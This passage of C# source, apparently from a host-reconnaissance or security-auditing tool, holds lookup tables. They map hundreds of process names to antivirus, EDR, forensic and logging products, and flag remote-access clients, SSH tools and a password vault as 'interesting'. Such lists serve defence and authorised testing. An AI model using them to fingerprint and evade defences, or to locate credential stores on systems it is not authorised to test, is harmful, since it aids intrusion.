{ "cyprotect", "UNKNOWN"},
|
||||||
|
{ "cyupdate", "UNKNOWN"},
|
||||||
|
{ "cyserver", "UNKNOWN"},
|
||||||
|
{ "cytray", "UNKNOWN"},
|
||||||
|
{ "cyveraservice", "UNKNOWN"},
|
||||||
|
{ "datemanager", "UNKNOWN"},
|
||||||
|
{ "dcomx", "UNKNOWN"},
|
||||||
|
{ "defalert", "UNKNOWN"},
|
||||||
|
{ "defscangui", "UNKNOWN"},
|
||||||
|
{ "defwatch", "UNKNOWN"},
|
||||||
|
{ "deputy", "UNKNOWN"},
|
||||||
|
{ "divx", "UNKNOWN"},
|
||||||
|
{ "dgprompt", "UNKNOWN"},
|
||||||
|
{ "dgservice", "UNKNOWN"},
|
||||||
|
{ "dllcache", "UNKNOWN"},
|
||||||
|
{ "dllreg", "UNKNOWN"},
|
||||||
|
{ "doors", "UNKNOWN"},
|
||||||
|
{ "dpf", "UNKNOWN"},
|
||||||
|
{ "dpfsetup", "UNKNOWN"},
|
||||||
|
{ "dpps2", "UNKNOWN"},
|
||||||
|
{ "drwatson", "UNKNOWN"},
|
||||||
|
{ "drweb32", "UNKNOWN"},
|
||||||
|
{ "drwebupw", "UNKNOWN"},
|
||||||
|
{ "dssagent", "UNKNOWN"},
|
||||||
|
{ "dumpcap", "UNKNOWN"},
|
||||||
|
{ "dvp95", "UNKNOWN"},
|
||||||
|
{ "dvp95_0", "UNKNOWN"},
|
||||||
|
{ "ecengine", "UNKNOWN"},
|
||||||
|
{ "efpeadm", "UNKNOWN"},
|
||||||
|
{ "egui", "UNKNOWN"},
|
||||||
|
{ "ekrn", "UNKNOWN"},
|
||||||
|
{ "enstart64", "Encase (Forensics tool)"},
|
||||||
|
{ "emet_agent", "UNKNOWN"},
|
||||||
|
{ "emet_service", "UNKNOWN"},
|
||||||
|
{ "emsw", "UNKNOWN"},
|
||||||
|
{ "engineserver", "UNKNOWN"},
|
||||||
|
{ "ent", "UNKNOWN"},
|
||||||
|
{ "esafe", "UNKNOWN"},
|
||||||
|
{ "escanhnt", "UNKNOWN"},
|
||||||
|
{ "escanv95", "UNKNOWN"},
|
||||||
|
{ "espwatch", "UNKNOWN"},
|
||||||
|
{ "ethereal", "UNKNOWN"},
|
||||||
|
{ "etrustcipe", "UNKNOWN"},
|
||||||
|
{ "evpn", "UNKNOWN"},
|
||||||
|
{ "exantivirus-cnet", "UNKNOWN"},
|
||||||
|
{ "exe.avxw", "UNKNOWN"},
|
||||||
|
{ "expert", "UNKNOWN"},
|
||||||
|
{ "explore", "UNKNOWN"},
|
||||||
|
{ "f-agnt95", "UNKNOWN"},
|
||||||
|
{ "f-prot", "UNKNOWN"},
|
||||||
|
{ "f-prot95", "UNKNOWN"},
|
||||||
|
{ "f-stopw", "UNKNOWN"},
|
||||||
|
{ "fameh32", "UNKNOWN"},
|
||||||
|
{ "fast", "UNKNOWN"},
|
||||||
|
{ "fch32", "UNKNOWN"},
|
||||||
|
{ "fcagswd", "McAfee DLP Agent"},
|
||||||
|
{ "fcags", "McAfee DLP Agent"},
|
||||||
|
{ "fih32", "UNKNOWN"},
|
||||||
|
{ "findviru", "UNKNOWN"},
|
||||||
|
{ "firesvc", "McAfee Host Intrusion Prevention"},
|
||||||
|
{ "firetray", "UNKNOWN"},
|
||||||
|
{ "firewall", "UNKNOWN"},
|
||||||
|
{ "fnrb32", "UNKNOWN"},
|
||||||
|
{ "fp-win", "UNKNOWN"},
|
||||||
|
{ "fp-win_trial", "UNKNOWN"},
|
||||||
|
{ "fprot", "UNKNOWN"},
|
||||||
|
{ "frameworkservice", "UNKNOWN"},
|
||||||
|
{ "frminst", "UNKNOWN"},
|
||||||
|
{ "frw", "UNKNOWN"},
|
||||||
|
{ "fsaa", "UNKNOWN"},
|
||||||
|
{ "fsav", "UNKNOWN"},
|
||||||
|
{ "fsav32", "UNKNOWN"},
|
||||||
|
{ "fsav530stbyb", "UNKNOWN"},
|
||||||
|
{ "fsav530wtbyb", "UNKNOWN"},
|
||||||
|
{ "fsav95", "UNKNOWN"},
|
||||||
|
{ "fsgk32", "UNKNOWN"},
|
||||||
|
{ "fsm32", "UNKNOWN"},
|
||||||
|
{ "fsma32", "UNKNOWN"},
|
||||||
|
{ "fsmb32", "UNKNOWN"},
|
||||||
|
{ "gator", "UNKNOWN"},
|
||||||
|
{ "gbmenu", "UNKNOWN"},
|
||||||
|
{ "gbpoll", "UNKNOWN"},
|
||||||
|
{ "generics", "UNKNOWN"},
|
||||||
|
{ "gmt", "UNKNOWN"},
|
||||||
|
{ "guard", "UNKNOWN"},
|
||||||
|
{ "guarddog", "UNKNOWN"},
|
||||||
|
{ "hacktracersetup", "UNKNOWN"},
|
||||||
|
{ "hbinst", "UNKNOWN"},
|
||||||
|
{ "hbsrv", "UNKNOWN"},
|
||||||
|
{ "hijackthis", "UNKNOWN"},
|
||||||
|
{ "hipsvc", "UNKNOWN"},
|
||||||
|
{ "hipmgmt", "McAfee Host Intrusion Protection"},
|
||||||
|
{ "hotactio", "UNKNOWN"},
|
||||||
|
{ "hotpatch", "UNKNOWN"},
|
||||||
|
{ "htlog", "UNKNOWN"},
|
||||||
|
{ "htpatch", "UNKNOWN"},
|
||||||
|
{ "hwpe", "UNKNOWN"},
|
||||||
|
{ "hxdl", "UNKNOWN"},
|
||||||
|
{ "hxiul", "UNKNOWN"},
|
||||||
|
{ "iamapp", "UNKNOWN"},
|
||||||
|
{ "iamserv", "UNKNOWN"},
|
||||||
|
{ "iamstats", "UNKNOWN"},
|
||||||
|
{ "ibmasn", "UNKNOWN"},
|
||||||
|
{ "ibmavsp", "UNKNOWN"},
|
||||||
|
{ "icload95", "UNKNOWN"},
|
||||||
|
{ "icloadnt", "UNKNOWN"},
|
||||||
|
{ "icmon", "UNKNOWN"},
|
||||||
|
{ "icsupp95", "UNKNOWN"},
|
||||||
|
{ "icsuppnt", "UNKNOWN"},
|
||||||
|
{ "idle", "UNKNOWN"},
|
||||||
|
{ "iedll", "UNKNOWN"},
|
||||||
|
{ "iedriver", "UNKNOWN"},
|
||||||
|
{ "iface", "UNKNOWN"},
|
||||||
|
{ "ifw2000", "UNKNOWN"},
|
||||||
|
{ "inetlnfo", "UNKNOWN"},
|
||||||
|
{ "infus", "UNKNOWN"},
|
||||||
|
{ "infwin", "UNKNOWN"},
|
||||||
|
{ "init", "UNKNOWN"},
|
||||||
|
{ "intdel", "UNKNOWN"},
|
||||||
|
{ "intren", "UNKNOWN"},
|
||||||
|
{ "iomon98", "UNKNOWN"},
|
||||||
|
{ "istsvc", "UNKNOWN"},
|
||||||
|
{ "jammer", "UNKNOWN"},
|
||||||
|
{ "jdbgmrg", "UNKNOWN"},
|
||||||
|
{ "jedi", "UNKNOWN"},
|
||||||
|
{ "kavlite40eng", "UNKNOWN"},
|
||||||
|
{ "kavpers40eng", "UNKNOWN"},
|
||||||
|
{ "kavpf", "UNKNOWN"},
|
||||||
|
{ "kazza", "UNKNOWN"},
|
||||||
|
{ "keenvalue", "UNKNOWN"},
|
||||||
|
{ "kerio-pf-213-en-win", "UNKNOWN"},
|
||||||
|
{ "kerio-wrl-421-en-win", "UNKNOWN"},
|
||||||
|
{ "kerio-wrp-421-en-win", "UNKNOWN"},
|
||||||
|
{ "kernel32", "UNKNOWN"},
|
||||||
|
{ "keypass", "UNKNOWN"},
|
||||||
|
{ "killprocesssetup161", "UNKNOWN"},
|
||||||
|
{ "launcher", "UNKNOWN"},
|
||||||
|
{ "ldnetmon", "UNKNOWN"},
|
||||||
|
{ "ldpro", "UNKNOWN"},
|
||||||
|
{ "ldpromenu", "UNKNOWN"},
|
||||||
|
{ "ldscan", "UNKNOWN"},
|
||||||
|
{ "lnetinfo", "UNKNOWN"},
|
||||||
|
{ "loader", "UNKNOWN"},
|
||||||
|
{ "localnet", "UNKNOWN"},
|
||||||
|
{ "lockdown", "UNKNOWN"},
|
||||||
|
{ "lockdown2000", "UNKNOWN"},
|
||||||
|
{ "lookout", "UNKNOWN"},
|
||||||
|
{ "lordpe", "UNKNOWN"},
|
||||||
|
{ "lsetup", "UNKNOWN"},
|
||||||
|
{ "luall", "UNKNOWN"},
|
||||||
|
{ "luau", "UNKNOWN"},
|
||||||
|
{ "lucomserver", "UNKNOWN"},
|
||||||
|
{ "luinit", "UNKNOWN"},
|
||||||
|
{ "luspt", "UNKNOWN"},
|
||||||
|
{ "mapisvc32", "UNKNOWN"},
|
||||||
|
{ "macmnsvc", "McAfee"},
|
||||||
|
{ "macompatsvc", "McAfee"},
|
||||||
|
{ "masvc", "McAfee"},
|
||||||
|
{ "mfeesp", "McAfee"},
|
||||||
|
{ "mfemactl", "McAfee"},
|
||||||
|
{ "mfetp", "McAfee"},
|
||||||
|
{ "mfecanary", "McAfee"},
|
||||||
|
{ "mfemms", "McAfee"},
|
||||||
|
{ "mbamservice", "UNKNOWN"},
|
||||||
|
{ "mcafeefire", "UNKNOWN"},
|
||||||
|
{ "mcagent", "UNKNOWN"},
|
||||||
|
{ "mcmnhdlr", "UNKNOWN"},
|
||||||
|
{ "mcscript", "UNKNOWN"},
|
||||||
|
{ "mcscript_inuse", "UNKNOWN"},
|
||||||
|
{ "mctool", "UNKNOWN"},
|
||||||
|
{ "mctray", "UNKNOWN"},
|
||||||
|
{ "mcupdate", "UNKNOWN"},
|
||||||
|
{ "mcvsrte", "UNKNOWN"},
|
||||||
|
{ "mcvsshld", "UNKNOWN"},
|
||||||
|
{ "md", "UNKNOWN"},
|
||||||
|
{ "mfeann", "McAfee VirusScan Enterprise"},
|
||||||
|
{ "mfevtps", "UNKNOWN"},
|
||||||
|
{ "mfin32", "UNKNOWN"},
|
||||||
|
{ "mfw2en", "UNKNOWN"},
|
||||||
|
{ "mfweng3.02d30", "UNKNOWN"},
|
||||||
|
{ "mgavrtcl", "UNKNOWN"},
|
||||||
|
{ "mgavrte", "UNKNOWN"},
|
||||||
|
{ "mghtml", "UNKNOWN"},
|
||||||
|
{ "mgui", "UNKNOWN"},
|
||||||
|
{ "minilog", "UNKNOWN"},
|
||||||
|
{ "minionhost", "Cyberreason"},
|
||||||
|
{ "mmod", "UNKNOWN"},
|
||||||
|
{ "monitor", "UNKNOWN"},
|
||||||
|
{ "moolive", "UNKNOWN"},
|
||||||
|
{ "mostat", "UNKNOWN"},
|
||||||
|
{ "mpfagent", "UNKNOWN"},
|
||||||
|
{ "mpfservice", "UNKNOWN"},
|
||||||
|
{ "mpftray", "UNKNOWN"},
|
||||||
|
{ "mrflux", "UNKNOWN"},
|
||||||
|
{ "msapp", "UNKNOWN"},
|
||||||
|
{ "msbb", "UNKNOWN"},
|
||||||
|
{ "msblast", "UNKNOWN"},
|
||||||
|
{ "mscache", "UNKNOWN"},
|
||||||
|
{ "msccn32", "UNKNOWN"},
|
||||||
|
{ "mscman", "UNKNOWN"},
|
||||||
|
{ "msconfig", "UNKNOWN"},
|
||||||
|
{ "msdm", "UNKNOWN"},
|
||||||
|
{ "msdos", "UNKNOWN"},
|
||||||
|
{ "msiexec16", "UNKNOWN"},
|
||||||
|
{ "msinfo32", "UNKNOWN"},
|
||||||
|
{ "mslaugh", "UNKNOWN"},
|
||||||
|
{ "msmgt", "UNKNOWN"},
|
||||||
|
{ "msmsgri32", "UNKNOWN"},
|
||||||
|
{ "mssense", "Microsoft Defender ATP"},
|
||||||
|
{ "sensecncproxy", "Microsoft Defender ATP"},
|
||||||
|
{ "mssmmc32", "UNKNOWN"},
|
||||||
|
{ "mssys", "UNKNOWN"},
|
||||||
|
{ "msvxd", "UNKNOWN"},
|
||||||
|
{ "mu0311ad", "UNKNOWN"},
|
||||||
|
{ "mwatch", "UNKNOWN"},
|
||||||
|
{ "n32scanw", "UNKNOWN"},
|
||||||
|
{ "naprdmgr", "UNKNOWN"},
|
||||||
|
{ "nav", "UNKNOWN"},
|
||||||
|
{ "navap.navapsvc", "UNKNOWN"},
|
||||||
|
{ "navapsvc", "UNKNOWN"},
|
||||||
|
{ "navapw32", "UNKNOWN"},
|
||||||
|
{ "navdx", "UNKNOWN"},
|
||||||
|
{ "navlu32", "UNKNOWN"},
|
||||||
|
{ "navnt", "UNKNOWN"},
|
||||||
|
{ "navstub", "UNKNOWN"},
|
||||||
|
{ "navw32", "UNKNOWN"},
|
||||||
|
{ "navwnt", "UNKNOWN"},
|
||||||
|
{ "nc2000", "UNKNOWN"},
|
||||||
|
{ "ncinst4", "UNKNOWN"},
|
||||||
|
{ "ndd32", "UNKNOWN"},
|
||||||
|
{ "neomonitor", "UNKNOWN"},
|
||||||
|
{ "neowatchlog", "UNKNOWN"},
|
||||||
|
{ "netarmor", "UNKNOWN"},
|
||||||
|
{ "netd32", "UNKNOWN"},
|
||||||
|
{ "netinfo", "UNKNOWN"},
|
||||||
|
{ "netmon", "UNKNOWN"},
|
||||||
|
{ "netscanpro", "UNKNOWN"},
|
||||||
|
{ "netspyhunter-1.2", "UNKNOWN"},
|
||||||
|
{ "netstat", "UNKNOWN"},
|
||||||
|
{ "netutils", "UNKNOWN"},
|
||||||
|
{ "nisserv", "UNKNOWN"},
|
||||||
|
{ "nisum", "UNKNOWN"},
|
||||||
|
{ "nmain", "UNKNOWN"},
|
||||||
|
{ "nod32", "UNKNOWN"},
|
||||||
|
{ "normist", "UNKNOWN"},
|
||||||
|
{ "norton_internet_secu_3.0_407", "UNKNOWN"},
|
||||||
|
{ "notstart", "UNKNOWN"},
|
||||||
|
{ "npf40_tw_98_nt_me_2k", "UNKNOWN"},
|
||||||
|
{ "npfmessenger", "UNKNOWN"},
|
||||||
|
{ "nprotect", "UNKNOWN"},
|
||||||
|
{ "npscheck", "UNKNOWN"},
|
||||||
|
{ "npssvc", "UNKNOWN"},
|
||||||
|
{ "nsched32", "UNKNOWN"},
|
||||||
|
{ "nssys32", "UNKNOWN"},
|
||||||
|
{ "nstask32", "UNKNOWN"},
|
||||||
|
{ "nsupdate", "UNKNOWN"},
|
||||||
|
{ "nt", "UNKNOWN"},
|
||||||
|
{ "ntrtscan", "UNKNOWN"},
|
||||||
|
{ "ntvdm", "UNKNOWN"},
|
||||||
|
{ "ntxconfig", "UNKNOWN"},
|
||||||
|
{ "nui", "UNKNOWN"},
|
||||||
|
{ "nupgrade", "UNKNOWN"},
|
||||||
|
{ "nvarch16", "UNKNOWN"},
|
||||||
|
{ "nvc95", "UNKNOWN"},
|
||||||
|
{ "nvsvc32", "UNKNOWN"},
|
||||||
|
{ "nwinst4", "UNKNOWN"},
|
||||||
|
{ "nwservice", "UNKNOWN"},
|
||||||
|
{ "nwtool16", "UNKNOWN"},
|
||||||
|
{ "nxlog", "UNKNOWN"},
|
||||||
|
{ "ollydbg", "UNKNOWN"},
|
||||||
|
{ "onsrvr", "UNKNOWN"},
|
||||||
|
{ "optimize", "UNKNOWN"},
|
||||||
|
{ "ostronet", "UNKNOWN"},
|
||||||
|
{ "osqueryd", "UNKNOWN"},
|
||||||
|
{ "otfix", "UNKNOWN"},
|
||||||
|
{ "outpost", "UNKNOWN"},
|
||||||
|
{ "outpostinstall", "UNKNOWN"},
|
||||||
|
{ "outpostproinstall", "UNKNOWN"},
|
||||||
|
{ "padmin", "UNKNOWN"},
|
||||||
|
{ "panixk", "UNKNOWN"},
|
||||||
|
{ "patch", "UNKNOWN"},
|
||||||
|
{ "pavcl", "UNKNOWN"},
|
||||||
|
{ "pavproxy", "UNKNOWN"},
|
||||||
|
{ "pavsched", "UNKNOWN"},
|
||||||
|
{ "pavw", "UNKNOWN"},
|
||||||
|
{ "pccwin98", "UNKNOWN"},
|
||||||
|
{ "pcfwallicon", "UNKNOWN"},
|
||||||
|
{ "pcip10117_0", "UNKNOWN"},
|
||||||
|
{ "pcscan", "UNKNOWN"},
|
||||||
|
{ "pdsetup", "UNKNOWN"},
|
||||||
|
{ "periscope", "UNKNOWN"},
|
||||||
|
{ "persfw", "UNKNOWN"},
|
||||||
|
{ "perswf", "UNKNOWN"},
|
||||||
|
{ "pf2", "UNKNOWN"},
|
||||||
|
{ "pfwadmin", "UNKNOWN"},
|
||||||
|
{ "pgmonitr", "UNKNOWN"},
|
||||||
|
{ "pingscan", "UNKNOWN"},
|
||||||
|
{ "platin", "UNKNOWN"},
|
||||||
|
{ "pop3trap", "UNKNOWN"},
|
||||||
|
{ "poproxy", "UNKNOWN"},
|
||||||
|
{ "popscan", "UNKNOWN"},
|
||||||
|
{ "portdetective", "UNKNOWN"},
|
||||||
|
{ "portmonitor", "UNKNOWN"},
|
||||||
|
{ "powerscan", "UNKNOWN"},
|
||||||
|
{ "ppinupdt", "UNKNOWN"},
|
||||||
|
{ "pptbc", "UNKNOWN"},
|
||||||
|
{ "ppvstop", "UNKNOWN"},
|
||||||
|
{ "prizesurfer", "UNKNOWN"},
|
||||||
|
{ "prmt", "UNKNOWN"},
|
||||||
|
{ "prmvr", "UNKNOWN"},
|
||||||
|
{ "procdump", "UNKNOWN"},
|
||||||
|
{ "processmonitor", "UNKNOWN"},
|
||||||
|
{ "procexp", "UNKNOWN"},
|
||||||
|
{ "procexp64", "UNKNOWN"},
|
||||||
|
{ "procexplorerv1.0", "UNKNOWN"},
|
||||||
|
{ "procmon", "UNKNOWN"},
|
||||||
|
{ "programauditor", "UNKNOWN"},
|
||||||
|
{ "proport", "UNKNOWN"},
|
||||||
|
{ "protectx", "UNKNOWN"},
|
||||||
|
{ "pspf", "UNKNOWN"},
|
||||||
|
{ "purge", "UNKNOWN"},
|
||||||
|
{ "qconsole", "UNKNOWN"},
|
||||||
|
{ "qserver", "UNKNOWN"},
|
||||||
|
{ "rapapp", "UNKNOWN"},
|
||||||
|
{ "rav7", "UNKNOWN"},
|
||||||
|
{ "rav7win", "UNKNOWN"},
|
||||||
|
{ "rav8win32eng", "UNKNOWN"},
|
||||||
|
{ "ray", "UNKNOWN"},
|
||||||
|
{ "rb32", "UNKNOWN"},
|
||||||
|
{ "rcsync", "UNKNOWN"},
|
||||||
|
{ "realmon", "UNKNOWN"},
|
||||||
|
{ "reged", "UNKNOWN"},
|
||||||
|
{ "regedit", "UNKNOWN"},
|
||||||
|
{ "regedt32", "UNKNOWN"},
|
||||||
|
{ "rescue", "UNKNOWN"},
|
||||||
|
{ "rescue32", "UNKNOWN"},
|
||||||
|
{ "rrguard", "UNKNOWN"},
|
||||||
|
{ "rtvscan", "UNKNOWN"},
|
||||||
|
{ "rtvscn95", "UNKNOWN"},
|
||||||
|
{ "rulaunch", "UNKNOWN"},
|
||||||
|
{ "run32dll", "UNKNOWN"},
|
||||||
|
{ "rundll", "UNKNOWN"},
|
||||||
|
{ "rundll16", "UNKNOWN"},
|
||||||
|
{ "ruxdll32", "UNKNOWN"},
|
||||||
|
{ "safeweb", "UNKNOWN"},
|
||||||
|
{ "sahagent.exescan32", "UNKNOWN"},
|
||||||
|
{ "save", "UNKNOWN"},
|
||||||
|
{ "savenow", "UNKNOWN"},
|
||||||
|
{ "sbserv", "UNKNOWN"},
|
||||||
|
{ "scam32", "UNKNOWN"},
|
||||||
|
{ "scan32", "UNKNOWN"},
|
||||||
|
{ "scan95", "UNKNOWN"},
|
||||||
|
{ "scanpm", "UNKNOWN"},
|
||||||
|
{ "scrscan", "UNKNOWN"},
|
||||||
|
{ "sentinelone", "SentinelOne Endpoint Security Software"},
|
||||||
|
{ "serv95", "UNKNOWN"},
|
||||||
|
{ "setupvameeval", "UNKNOWN"},
|
||||||
|
{ "setup_flowprotector_us", "UNKNOWN"},
|
||||||
|
{ "sfc", "UNKNOWN"},
|
||||||
|
{ "sgssfw32", "UNKNOWN"},
|
||||||
|
{ "sh", "UNKNOWN"},
|
||||||
|
{ "shellspyinstall", "UNKNOWN"},
|
||||||
|
{ "shn", "UNKNOWN"},
|
||||||
|
{ "showbehind", "UNKNOWN"},
|
||||||
|
{ "shstat", "McAfee VirusScan Enterprise"},
|
||||||
|
{ "smc", "UNKNOWN"},
|
||||||
|
{ "sms", "UNKNOWN"},
|
||||||
|
{ "smcgui", "Symantec Endpoint Detection"},
|
||||||
|
{ "smss32", "UNKNOWN"},
|
||||||
|
{ "snac64", "Symantec Endpoint Detection"},
|
||||||
|
{ "wdp", "Symantec Endpoint Detection"},
|
||||||
|
{ "sofi", "UNKNOWN"},
|
||||||
|
{ "sperm", "UNKNOWN"},
|
||||||
|
{ "splunk", "Splunk"},
|
||||||
|
{ "splunkd", "Splunk"},
|
||||||
|
{ "splunk-admon", "Splunk"},
|
||||||
|
{ "splunk-powershell", "Splunk"},
|
||||||
|
{ "splunk-winevtlog", "Splunk"},
|
||||||
|
{ "spf", "UNKNOWN"},
|
||||||
|
{ "sphinx", "UNKNOWN"},
|
||||||
|
{ "spoler", "UNKNOWN"},
|
||||||
|
{ "spoolcv", "UNKNOWN"},
|
||||||
|
{ "spoolsv32", "UNKNOWN"},
|
||||||
|
{ "spyxx", "UNKNOWN"},
|
||||||
|
{ "srexe", "UNKNOWN"},
|
||||||
|
{ "srng", "UNKNOWN"},
|
||||||
|
{ "ss3edit", "UNKNOWN"},
|
||||||
|
{ "ssgrate", "UNKNOWN"},
|
||||||
|
{ "ssg_4104", "UNKNOWN"},
|
||||||
|
{ "st2", "UNKNOWN"},
|
||||||
|
{ "start", "UNKNOWN"},
|
||||||
|
{ "stcloader", "UNKNOWN"},
|
||||||
|
{ "supftrl", "UNKNOWN"},
|
||||||
|
{ "support", "UNKNOWN"},
|
||||||
|
{ "supporter5", "UNKNOWN"},
|
||||||
|
{ "svchostc", "UNKNOWN"},
|
||||||
|
{ "svchosts", "UNKNOWN"},
|
||||||
|
{ "sweep95", "UNKNOWN"},
|
||||||
|
{ "sweepnet.sweepsrv.sys.swnetsup", "UNKNOWN"},
|
||||||
|
{ "symproxysvc", "UNKNOWN"},
|
||||||
|
{ "symtray", "UNKNOWN"},
|
||||||
|
{ "sysedit", "UNKNOWN"},
|
||||||
|
{ "sysmon", "Sysinternals Sysmon"},
|
||||||
|
{ "sysupd", "UNKNOWN"},
|
||||||
|
{ "taniumclient", "Tanium"},
|
||||||
|
{ "taskmg", "UNKNOWN"},
|
||||||
|
{ "taskmo", "UNKNOWN"},
|
||||||
|
{ "taumon", "UNKNOWN"},
|
||||||
|
{ "tbmon", "UNKNOWN"},
|
||||||
|
{ "tbscan", "UNKNOWN"},
|
||||||
|
{ "tc", "UNKNOWN"},
|
||||||
|
{ "tca", "UNKNOWN"},
|
||||||
|
{ "tcm", "UNKNOWN"},
|
||||||
|
{ "tcpview", "UNKNOWN"},
|
||||||
|
{ "tds-3", "UNKNOWN"},
|
||||||
|
{ "tds2-98", "UNKNOWN"},
|
||||||
|
{ "tds2-nt", "UNKNOWN"},
|
||||||
|
{ "teekids", "UNKNOWN"},
|
||||||
|
{ "tfak", "UNKNOWN"},
|
||||||
|
{ "tfak5", "UNKNOWN"},
|
||||||
|
{ "tgbob", "UNKNOWN"},
|
||||||
|
{ "titanin", "UNKNOWN"},
|
||||||
|
{ "titaninxp", "UNKNOWN"},
|
||||||
|
{ "tlaservice", "UNKNOWN"},
|
||||||
|
{ "tlaworker", "UNKNOWN"},
|
||||||
|
{ "tracert", "UNKNOWN"},
|
||||||
|
{ "trickler", "UNKNOWN"},
|
||||||
|
{ "trjscan", "UNKNOWN"},
|
||||||
|
{ "trjsetup", "UNKNOWN"},
|
||||||
|
{ "trojantrap3", "UNKNOWN"},
|
||||||
|
{ "tsadbot", "UNKNOWN"},
|
||||||
|
{ "tshark", "UNKNOWN"},
|
||||||
|
{ "tvmd", "UNKNOWN"},
|
||||||
|
{ "tvtmd", "UNKNOWN"},
|
||||||
|
{ "udaterui", "UNKNOWN"},
|
||||||
|
{ "undoboot", "UNKNOWN"},
|
||||||
|
{ "updat", "UNKNOWN"},
|
||||||
|
{ "update", "UNKNOWN"},
|
||||||
|
{ "updaterui", "UNKNOWN"},
|
||||||
|
{ "upgrad", "UNKNOWN"},
|
||||||
|
{ "utpost", "UNKNOWN"},
|
||||||
|
{ "vbcmserv", "UNKNOWN"},
|
||||||
|
{ "vbcons", "UNKNOWN"},
|
||||||
|
{ "vbust", "UNKNOWN"},
|
||||||
|
{ "vbwin9x", "UNKNOWN"},
|
||||||
|
{ "vbwinntw", "UNKNOWN"},
|
||||||
|
{ "vcsetup", "UNKNOWN"},
|
||||||
|
{ "vet32", "UNKNOWN"},
|
||||||
|
{ "vet95", "UNKNOWN"},
|
||||||
|
{ "vettray", "UNKNOWN"},
|
||||||
|
{ "vfsetup", "UNKNOWN"},
|
||||||
|
{ "vir-help", "UNKNOWN"},
|
||||||
|
{ "virusmdpersonalfirewall", "UNKNOWN"},
|
||||||
|
{ "vnlan300", "UNKNOWN"},
|
||||||
|
{ "vnpc3000", "UNKNOWN"},
|
||||||
|
{ "vpc32", "UNKNOWN"},
|
||||||
|
{ "vpc42", "UNKNOWN"},
|
||||||
|
{ "vpfw30s", "UNKNOWN"},
|
||||||
|
{ "vptray", "UNKNOWN"},
|
||||||
|
{ "vscan40", "UNKNOWN"},
|
||||||
|
{ "vscenu6.02d30", "UNKNOWN"},
|
||||||
|
{ "vsched", "UNKNOWN"},
|
||||||
|
{ "vsecomr", "UNKNOWN"},
|
||||||
|
{ "vshwin32", "UNKNOWN"},
|
||||||
|
{ "vsisetup", "UNKNOWN"},
|
||||||
|
{ "vsmain", "UNKNOWN"},
|
||||||
|
{ "vsmon", "UNKNOWN"},
|
||||||
|
{ "vsstat", "UNKNOWN"},
|
||||||
|
{ "vstskmgr", "McAfee VirusScan Enterprise"},
|
||||||
|
{ "vswin9xe", "UNKNOWN"},
|
||||||
|
{ "vswinntse", "UNKNOWN"},
|
||||||
|
{ "vswinperse", "UNKNOWN"},
|
||||||
|
{ "w32dsm89", "UNKNOWN"},
|
||||||
|
{ "w9x", "UNKNOWN"},
|
||||||
|
{ "watchdog", "UNKNOWN"},
|
||||||
|
{ "webdav", "UNKNOWN"},
|
||||||
|
{ "webscanx", "UNKNOWN"},
|
||||||
|
{ "webtrap", "UNKNOWN"},
|
||||||
|
{ "wfindv32", "UNKNOWN"},
|
||||||
|
{ "whoswatchingme", "UNKNOWN"},
|
||||||
|
{ "wimmun32", "UNKNOWN"},
|
||||||
|
{ "win-bugsfix", "UNKNOWN"},
|
||||||
|
{ "win32", "UNKNOWN"},
|
||||||
|
{ "win32us", "UNKNOWN"},
|
||||||
|
{ "winactive", "UNKNOWN"},
|
||||||
|
{ "window", "UNKNOWN"},
|
||||||
|
{ "windows", "UNKNOWN"},
|
||||||
|
{ "wininetd", "UNKNOWN"},
|
||||||
|
{ "wininitx", "UNKNOWN"},
|
||||||
|
{ "winlogin", "UNKNOWN"},
|
||||||
|
{ "winmain", "UNKNOWN"},
|
||||||
|
{ "winnet", "UNKNOWN"},
|
||||||
|
{ "winppr32", "UNKNOWN"},
|
||||||
|
{ "winrecon", "UNKNOWN"},
|
||||||
|
{ "winservn", "UNKNOWN"},
|
||||||
|
{ "winssk32", "UNKNOWN"},
|
||||||
|
{ "winstart", "UNKNOWN"},
|
||||||
|
{ "winstart001", "UNKNOWN"},
|
||||||
|
{ "wintsk32", "UNKNOWN"},
|
||||||
|
{ "winupdate", "UNKNOWN"},
|
||||||
|
{ "wireshark", "UNKNOWN"},
|
||||||
|
{ "wkufind", "UNKNOWN"},
|
||||||
|
{ "wnad", "UNKNOWN"},
|
||||||
|
{ "wnt", "UNKNOWN"},
|
||||||
|
{ "wradmin", "UNKNOWN"},
|
||||||
|
{ "wrctrl", "UNKNOWN"},
|
||||||
|
{ "wsbgate", "UNKNOWN"},
|
||||||
|
{ "wupdater", "UNKNOWN"},
|
||||||
|
{ "wupdt", "UNKNOWN"},
|
||||||
|
{ "wyvernworksfirewall", "UNKNOWN"},
|
||||||
|
{ "xagt", "FireEye Endpoint Security (HX)"},
|
||||||
|
{ "xpf202en", "UNKNOWN"},
|
||||||
|
{ "zapro", "UNKNOWN"},
|
||||||
|
{ "zapsetup3001", "UNKNOWN"},
|
||||||
|
{ "zatutor", "UNKNOWN"},
|
||||||
|
{ "zonalm2601", "UNKNOWN"},
|
||||||
|
{ "zonealarm", "UNKNOWN"},
|
||||||
|
{ "_avp32", "UNKNOWN"},
|
||||||
|
{ "_avpcc", "UNKNOWN"},
|
||||||
|
{ "rshell", "UNKNOWN"},
|
||||||
|
{ "_avpm", "UNKNOWN"}
|
||||||
|
};
|
||||||
|
|
||||||
|
// TODO: additional processes?
|
||||||
|
var interestingProcesses = new Dictionary<string, string>()
|
||||||
|
{
|
||||||
|
{"cmrcservice" , "Configuration Manager Remote Control Service"},
|
||||||
|
{"ftp" , "Misc. FTP client"},
|
||||||
|
{"lmiguardian" , "LogMeIn Reporter"},
|
||||||
|
{"logmeinsystray" , "LogMeIn System Tray"},
|
||||||
|
{"ramaint" , "LogMeIn maintenance sevice"},
|
||||||
|
{"mmc" , "Microsoft Management Console"},
|
||||||
|
{"putty" , "Putty SSH client"},
|
||||||
|
{"pscp" , "Putty SCP client"},
|
||||||
|
{"psftp" , "Putty SFTP client"},
|
||||||
|
{"puttytel" , "Putty Telnet client"},
|
||||||
|
{"plink" , "Putty CLI client"},
|
||||||
|
{"pageant" , "Putty SSH auth agent"},
|
||||||
|
{"kitty" , "Kitty SSH client"},
|
||||||
|
{"telnet" , "Misc. Telnet client"},
|
||||||
|
{"securecrt" , "SecureCRT SSH/Telnet client"},
|
||||||
|
{"teamviewer" , "TeamViewer"},
|
||||||
|
{"tv_x64" , "TeamViewer x64 remote control"},
|
||||||
|
{"tv_w32" , "TeamViewer x86 remote control"},
|
||||||
|
{"keepass" , "KeePass password vault"},
|
||||||
|
{"mstsc" , "Microsoft RDP client"},
|
||||||
|
{"vnc" , "Possible VNC client"},
|
||||||
|
{"powershell" , "PowerShell host process"},
|
||||||
|
